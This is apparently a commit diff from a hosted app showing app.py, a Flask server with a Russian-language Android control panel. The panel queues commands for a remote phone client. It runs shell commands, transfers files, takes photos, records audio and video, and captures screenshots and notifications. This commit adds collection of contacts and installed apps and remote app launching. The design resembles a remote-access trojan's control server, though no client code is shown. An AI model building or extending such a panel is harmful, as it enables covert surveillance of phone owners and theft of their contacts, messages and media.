Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
@@ -19,6 +19,8 @@ current_client_path = "~"
|
|
19 |
file_to_send_to_client = None
|
20 |
device_status_info = {}
|
21 |
notifications_history = []
|
|
|
|
|
22 |
|
23 |
|
24 |
HTML_TEMPLATE = """
|
@@ -30,12 +32,12 @@ HTML_TEMPLATE = """
|
|
30 |
<title>Панель управления Android</title>
|
31 |
<style>
|
32 |
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
|
33 |
-
.sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
|
34 |
.sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
|
35 |
.sidebar ul { list-style: none; padding: 0; margin: 0; }
|
36 |
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
|
37 |
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
|
38 |
-
.content { flex-grow: 1; padding: 20px; box-sizing: border-box; }
|
39 |
.container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
|
40 |
h1 { color: #333; text-align: center; margin-bottom: 20px;}
|
41 |
.control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
|
@@ -59,11 +61,11 @@ HTML_TEMPLATE = """
|
|
59 |
.hidden-section { display: none; }
|
60 |
.status-item { margin-bottom: 10px; }
|
61 |
.status-item strong { color: #333; }
|
62 |
-
.
|
63 |
-
.
|
64 |
-
.
|
65 |
-
.
|
66 |
-
.
|
67 |
</style>
|
68 |
<script>
|
69 |
let currentView = 'dashboard';
|
@@ -77,6 +79,8 @@ HTML_TEMPLATE = """
|
|
77 |
if (sectionId === 'files') refreshClientPathDisplay();
|
78 |
if (sectionId === 'device_status') requestDeviceStatus();
|
79 |
if (sectionId === 'notifications') requestNotifications();
|
|
|
|
|
80 |
refreshOutput();
|
81 |
}
|
82 |
|
@@ -139,6 +143,12 @@ HTML_TEMPLATE = """
|
|
139 |
if (data.notifications && currentView === 'notifications') {
|
140 |
renderNotifications(data.notifications);
|
141 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
142 |
|
143 |
|
144 |
} catch (error) {
|
@@ -219,7 +229,7 @@ HTML_TEMPLATE = """
|
|
219 |
if (notifications && notifications.length > 0) {
|
220 |
notifications.forEach(n => {
|
221 |
const itemDiv = document.createElement('div');
|
222 |
-
itemDiv.className = '
|
223 |
itemDiv.innerHTML = `
|
224 |
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
|
225 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
@@ -233,6 +243,51 @@ HTML_TEMPLATE = """
|
|
233 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
234 |
}
|
235 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
236 |
|
237 |
function osPathToUserFriendly(path, checkRoot = false) {
|
238 |
if (path.startsWith('/data/data/com.termux/files/home')) {
|
@@ -294,12 +349,27 @@ HTML_TEMPLATE = """
|
|
294 |
sendGenericCommand({ command_type: 'shell', command: command });
|
295 |
document.getElementById('command_str').value = '';
|
296 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
297 |
|
298 |
-
|
|
|
299 |
let payload = { command_type: type };
|
300 |
if (paramName && paramValueId) {
|
301 |
const value = document.getElementById(paramValueId).value;
|
302 |
if (value) payload[paramName] = value;
|
|
|
|
|
|
|
|
|
303 |
}
|
304 |
sendGenericCommand(payload);
|
305 |
}
|
@@ -370,6 +440,12 @@ HTML_TEMPLATE = """
|
|
370 |
function requestNotifications() {
|
371 |
sendGenericCommand({ command_type: 'get_notifications' });
|
372 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
373 |
|
374 |
|
375 |
</script>
|
@@ -381,6 +457,8 @@ HTML_TEMPLATE = """
|
|
381 |
<li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
|
382 |
<li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
|
383 |
<li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
|
|
|
|
|
384 |
<li><a href="#files" onclick="showSection('files')">Файлы</a></li>
|
385 |
<li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
|
386 |
<li><a href="#media" onclick="showSection('media')">Медиа</a></li>
|
@@ -432,11 +510,42 @@ HTML_TEMPLATE = """
|
|
432 |
<button onclick="requestNotifications()">Обновить уведомления</button>
|
433 |
<div class="control-section">
|
434 |
<h3>Список уведомлений:</h3>
|
435 |
-
<div id="notificationList" class="
|
436 |
<p>Запросите список уведомлений.</p>
|
437 |
</div>
|
438 |
</div>
|
439 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
440 |
|
441 |
<div id="files" class="container hidden-section">
|
442 |
<h2>Файловый менеджер (Клиент)</h2>
|
@@ -489,6 +598,13 @@ HTML_TEMPLATE = """
|
|
489 |
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
490 |
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
491 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
492 |
<div class="control-section">
|
493 |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
494 |
</div>
|
@@ -583,6 +699,12 @@ def handle_send_command():
|
|
583 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
584 |
elif command_type == 'record_audio':
|
585 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
|
|
|
|
|
|
|
|
|
|
|
|
586 |
elif command_type == 'screenshot':
|
587 |
pending_command = {'type': 'screenshot'}
|
588 |
elif command_type == 'shell':
|
@@ -624,6 +746,10 @@ def handle_send_command():
|
|
624 |
pending_command = {'type': 'get_device_status', 'item': item_requested}
|
625 |
elif command_type == 'get_notifications':
|
626 |
pending_command = {'type': 'get_notifications'}
|
|
|
|
|
|
|
|
|
627 |
else:
|
628 |
command_output = "Неизвестный тип команды."
|
629 |
|
@@ -641,7 +767,7 @@ def get_command():
|
|
641 |
|
642 |
@app.route('/submit_client_data', methods=['POST'])
|
643 |
def submit_client_data():
|
644 |
-
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
645 |
|
646 |
data = request.json
|
647 |
if not data:
|
@@ -669,11 +795,21 @@ def submit_client_data():
|
|
669 |
notifications_history = data['notifications_update']
|
670 |
if not command_output or command_output == "Клиент онлайн.":
|
671 |
command_output = "Список уведомлений обновлен."
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
672 |
|
673 |
|
674 |
if 'heartbeat' in data and data['heartbeat']:
|
675 |
if not command_output or command_output == "Клиент онлайн.":
|
676 |
-
if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
|
677 |
command_output = "Клиент онлайн."
|
678 |
return jsonify({'status': 'heartbeat_ok'})
|
679 |
|
@@ -706,7 +842,7 @@ def upload_from_client_route():
|
|
706 |
try:
|
707 |
file.save(filepath)
|
708 |
origin_command_type = request.form.get("origin_command_type", "unknown")
|
709 |
-
if origin_command_type == "request_download_file":
|
710 |
command_output = f"Файл '{filename}' успешно загружен С клиента."
|
711 |
|
712 |
return jsonify({'status': 'success', 'filename': filename})
|
@@ -716,13 +852,15 @@ def upload_from_client_route():
|
|
716 |
|
717 |
@app.route('/get_status_output', methods=['GET'])
|
718 |
def get_status_output_route():
|
719 |
-
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
720 |
return jsonify({
|
721 |
'output': command_output,
|
722 |
'last_heartbeat': last_client_heartbeat,
|
723 |
'current_path': current_client_path,
|
724 |
'device_status': device_status_info,
|
725 |
-
'notifications': notifications_history
|
|
|
|
|
726 |
})
|
727 |
|
728 |
@app.route('/uploads_from_client/<path:filename>')
|
|
|
19 |
file_to_send_to_client = None
|
20 |
device_status_info = {}
|
21 |
notifications_history = []
|
22 |
+
contacts_list = []
|
23 |
+
installed_apps_list = []
|
24 |
|
25 |
|
26 |
HTML_TEMPLATE = """
|
|
|
32 |
<title>Панель управления Android</title>
|
33 |
<style>
|
34 |
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
|
35 |
+
.sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; overflow-y: auto; }
|
36 |
.sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
|
37 |
.sidebar ul { list-style: none; padding: 0; margin: 0; }
|
38 |
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
|
39 |
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
|
40 |
+
.content { flex-grow: 1; padding: 20px; box-sizing: border-box; overflow-y: auto;}
|
41 |
.container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
|
42 |
h1 { color: #333; text-align: center; margin-bottom: 20px;}
|
43 |
.control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
|
|
|
61 |
.hidden-section { display: none; }
|
62 |
.status-item { margin-bottom: 10px; }
|
63 |
.status-item strong { color: #333; }
|
64 |
+
.data-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
|
65 |
+
.data-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
|
66 |
+
.data-item:last-child { border-bottom: none; }
|
67 |
+
.data-item strong { display: block; color: #555; }
|
68 |
+
.data-item span { font-size: 0.9em; color: #777; }
|
69 |
</style>
|
70 |
<script>
|
71 |
let currentView = 'dashboard';
|
|
|
79 |
if (sectionId === 'files') refreshClientPathDisplay();
|
80 |
if (sectionId === 'device_status') requestDeviceStatus();
|
81 |
if (sectionId === 'notifications') requestNotifications();
|
82 |
+
if (sectionId === 'contacts') requestContacts();
|
83 |
+
if (sectionId === 'apps') requestInstalledApps();
|
84 |
refreshOutput();
|
85 |
}
|
86 |
|
|
|
143 |
if (data.notifications && currentView === 'notifications') {
|
144 |
renderNotifications(data.notifications);
|
145 |
}
|
146 |
+
if (data.contacts && currentView === 'contacts') {
|
147 |
+
renderContacts(data.contacts);
|
148 |
+
}
|
149 |
+
if (data.installed_apps && currentView === 'apps') {
|
150 |
+
renderInstalledApps(data.installed_apps);
|
151 |
+
}
|
152 |
|
153 |
|
154 |
} catch (error) {
|
|
|
229 |
if (notifications && notifications.length > 0) {
|
230 |
notifications.forEach(n => {
|
231 |
const itemDiv = document.createElement('div');
|
232 |
+
itemDiv.className = 'data-item';
|
233 |
itemDiv.innerHTML = `
|
234 |
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
|
235 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
|
|
243 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
244 |
}
|
245 |
}
|
246 |
+
|
247 |
+
function renderContacts(contacts) {
|
248 |
+
const contactListDiv = document.getElementById('contactList');
|
249 |
+
contactListDiv.innerHTML = '';
|
250 |
+
if (contacts && contacts.length > 0) {
|
251 |
+
contacts.forEach(c => {
|
252 |
+
const itemDiv = document.createElement('div');
|
253 |
+
itemDiv.className = 'data-item';
|
254 |
+
itemDiv.innerHTML = `
|
255 |
+
<strong>${c.name || 'Без имени'}</strong>
|
256 |
+
<span>${c.number || 'Нет номера'}</span>
|
257 |
+
`;
|
258 |
+
contactListDiv.appendChild(itemDiv);
|
259 |
+
});
|
260 |
+
} else {
|
261 |
+
contactListDiv.innerHTML = '<p>Нет контактов для отображения или не удалось их получить.</p>';
|
262 |
+
}
|
263 |
+
}
|
264 |
+
|
265 |
+
function renderInstalledApps(apps) {
|
266 |
+
const appListDiv = document.getElementById('installedAppsList');
|
267 |
+
appListDiv.innerHTML = '';
|
268 |
+
if (apps && apps.length > 0) {
|
269 |
+
apps.forEach(app_pkg => {
|
270 |
+
const itemDiv = document.createElement('div');
|
271 |
+
itemDiv.className = 'data-item';
|
272 |
+
itemDiv.innerHTML = `<span>${app_pkg}</span>`;
|
273 |
+
// Add button to try and launch (user needs to fill activity)
|
274 |
+
/*
|
275 |
+
const launchBtn = document.createElement('button');
|
276 |
+
launchBtn.textContent = 'Запустить (AM)';
|
277 |
+
launchBtn.onclick = () => {
|
278 |
+
let activity = prompt('Введите главный Activity для ' + app_pkg + ' (например, .MainActivity):', '');
|
279 |
+
if (activity) {
|
280 |
+
sendGenericCommand({command_type: 'shell', command: 'am start -n ' + app_pkg + '/' + activity});
|
281 |
+
}
|
282 |
+
};
|
283 |
+
itemDiv.appendChild(launchBtn);
|
284 |
+
*/
|
285 |
+
appListDiv.appendChild(itemDiv);
|
286 |
+
});
|
287 |
+
} else {
|
288 |
+
appListDiv.innerHTML = '<p>Список приложений пуст или не удалось его получить.</p>';
|
289 |
+
}
|
290 |
+
}
|
291 |
|
292 |
function osPathToUserFriendly(path, checkRoot = false) {
|
293 |
if (path.startsWith('/data/data/com.termux/files/home')) {
|
|
|
349 |
sendGenericCommand({ command_type: 'shell', command: command });
|
350 |
document.getElementById('command_str').value = '';
|
351 |
}
|
352 |
+
|
353 |
+
function submitAmStartCommand(event) {
|
354 |
+
event.preventDefault();
|
355 |
+
const command = document.getElementById('am_start_command_str').value;
|
356 |
+
if (command) {
|
357 |
+
sendGenericCommand({ command_type: 'shell', command: 'am start -n ' + command });
|
358 |
+
} else {
|
359 |
+
alert("Введите имя пакета/активити.");
|
360 |
+
}
|
361 |
+
}
|
362 |
|
363 |
+
|
364 |
+
function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
|
365 |
let payload = { command_type: type };
|
366 |
if (paramName && paramValueId) {
|
367 |
const value = document.getElementById(paramValueId).value;
|
368 |
if (value) payload[paramName] = value;
|
369 |
+
}
|
370 |
+
if (param2Name && param2ValueId) {
|
371 |
+
const value2 = document.getElementById(param2ValueId).value;
|
372 |
+
if (value2) payload[param2Name] = value2;
|
373 |
}
|
374 |
sendGenericCommand(payload);
|
375 |
}
|
|
|
440 |
function requestNotifications() {
|
441 |
sendGenericCommand({ command_type: 'get_notifications' });
|
442 |
}
|
443 |
+
function requestContacts() {
|
444 |
+
sendGenericCommand({ command_type: 'get_contacts' });
|
445 |
+
}
|
446 |
+
function requestInstalledApps() {
|
447 |
+
sendGenericCommand({ command_type: 'get_installed_apps' });
|
448 |
+
}
|
449 |
|
450 |
|
451 |
</script>
|
|
|
457 |
<li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
|
458 |
<li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
|
459 |
<li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
|
460 |
+
<li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
|
461 |
+
<li><a href="#apps" onclick="showSection('apps')">Приложения</a></li>
|
462 |
<li><a href="#files" onclick="showSection('files')">Файлы</a></li>
|
463 |
<li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
|
464 |
<li><a href="#media" onclick="showSection('media')">Медиа</a></li>
|
|
|
510 |
<button onclick="requestNotifications()">Обновить уведомления</button>
|
511 |
<div class="control-section">
|
512 |
<h3>Список уведомлений:</h3>
|
513 |
+
<div id="notificationList" class="data-list">
|
514 |
<p>Запросите список уведомлений.</p>
|
515 |
</div>
|
516 |
</div>
|
517 |
</div>
|
518 |
+
|
519 |
+
<div id="contacts" class="container hidden-section">
|
520 |
+
<h2>К��нтакты</h2>
|
521 |
+
<button onclick="requestContacts()">Загрузить контакты</button>
|
522 |
+
<div class="control-section">
|
523 |
+
<h3>Список контактов:</h3>
|
524 |
+
<div id="contactList" class="data-list">
|
525 |
+
<p>Запросите список контактов.</p>
|
526 |
+
</div>
|
527 |
+
</div>
|
528 |
+
</div>
|
529 |
+
|
530 |
+
<div id="apps" class="container hidden-section">
|
531 |
+
<h2>Установленные приложения</h2>
|
532 |
+
<button onclick="requestInstalledApps()">Загрузить список приложений</button>
|
533 |
+
<div class="control-section">
|
534 |
+
<h3>Список пакетов приложений:</h3>
|
535 |
+
<div id="installedAppsList" class="data-list" style="max-height: 200px;">
|
536 |
+
<p>Запросите список приложений.</p>
|
537 |
+
</div>
|
538 |
+
</div>
|
539 |
+
<div class="control-section">
|
540 |
+
<h3>Запустить приложение (через AM)</h3>
|
541 |
+
<form onsubmit="submitAmStartCommand(event)">
|
542 |
+
<label for="am_start_command_str">Имя пакета/Главная Activity (например, com.example.app/.MainActivity):</label>
|
543 |
+
<input type="text" id="am_start_command_str" name="am_start_command_str" placeholder="com.termux/.app.TermuxActivity">
|
544 |
+
<button type="submit">Запустить</button>
|
545 |
+
</form>
|
546 |
+
</div>
|
547 |
+
</div>
|
548 |
+
|
549 |
|
550 |
<div id="files" class="container hidden-section">
|
551 |
<h2>Файловый менеджер (Клиент)</h2>
|
|
|
598 |
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
599 |
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
600 |
</div>
|
601 |
+
<div class="control-section">
|
602 |
+
<button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
|
603 |
+
<label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
604 |
+
<input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
|
605 |
+
<label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
606 |
+
<input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
|
607 |
+
</div>
|
608 |
<div class="control-section">
|
609 |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
610 |
</div>
|
|
|
699 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
700 |
elif command_type == 'record_audio':
|
701 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
702 |
+
elif command_type == 'record_video':
|
703 |
+
pending_command = {
|
704 |
+
'type': 'record_video',
|
705 |
+
'duration': data.get('duration', '10'),
|
706 |
+
'camera_id': data.get('camera_id', '0')
|
707 |
+
}
|
708 |
elif command_type == 'screenshot':
|
709 |
pending_command = {'type': 'screenshot'}
|
710 |
elif command_type == 'shell':
|
|
|
746 |
pending_command = {'type': 'get_device_status', 'item': item_requested}
|
747 |
elif command_type == 'get_notifications':
|
748 |
pending_command = {'type': 'get_notifications'}
|
749 |
+
elif command_type == 'get_contacts':
|
750 |
+
pending_command = {'type': 'get_contacts'}
|
751 |
+
elif command_type == 'get_installed_apps':
|
752 |
+
pending_command = {'type': 'get_installed_apps'}
|
753 |
else:
|
754 |
command_output = "Неизвестный тип команды."
|
755 |
|
|
|
767 |
|
768 |
@app.route('/submit_client_data', methods=['POST'])
|
769 |
def submit_client_data():
|
770 |
+
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
|
771 |
|
772 |
data = request.json
|
773 |
if not data:
|
|
|
795 |
notifications_history = data['notifications_update']
|
796 |
if not command_output or command_output == "Клиент онлайн.":
|
797 |
command_output = "Список уведомлений обновлен."
|
798 |
+
|
799 |
+
if 'contacts_update' in data:
|
800 |
+
contacts_list = data['contacts_update']
|
801 |
+
if not command_output or command_output == "Клиент онлайн.":
|
802 |
+
command_output = "Список контактов обновлен."
|
803 |
+
|
804 |
+
if 'installed_apps_update' in data:
|
805 |
+
installed_apps_list = data['installed_apps_update']
|
806 |
+
if not command_output or command_output == "Клиент онлайн.":
|
807 |
+
command_output = "Список установленных приложений обновлен."
|
808 |
|
809 |
|
810 |
if 'heartbeat' in data and data['heartbeat']:
|
811 |
if not command_output or command_output == "Клиент онлайн.":
|
812 |
+
if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data and 'installed_apps_update' not in data:
|
813 |
command_output = "Клиент онлайн."
|
814 |
return jsonify({'status': 'heartbeat_ok'})
|
815 |
|
|
|
842 |
try:
|
843 |
file.save(filepath)
|
844 |
origin_command_type = request.form.get("origin_command_type", "unknown")
|
845 |
+
if origin_command_type == "request_download_file":
|
846 |
command_output = f"Файл '{filename}' успешно загружен С клиента."
|
847 |
|
848 |
return jsonify({'status': 'success', 'filename': filename})
|
|
|
852 |
|
853 |
@app.route('/get_status_output', methods=['GET'])
|
854 |
def get_status_output_route():
|
855 |
+
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
|
856 |
return jsonify({
|
857 |
'output': command_output,
|
858 |
'last_heartbeat': last_client_heartbeat,
|
859 |
'current_path': current_client_path,
|
860 |
'device_status': device_status_info,
|
861 |
+
'notifications': notifications_history,
|
862 |
+
'contacts': contacts_list,
|
863 |
+
'installed_apps': installed_apps_list
|
864 |
})
|
865 |
|
866 |
@app.route('/uploads_from_client/<path:filename>')
|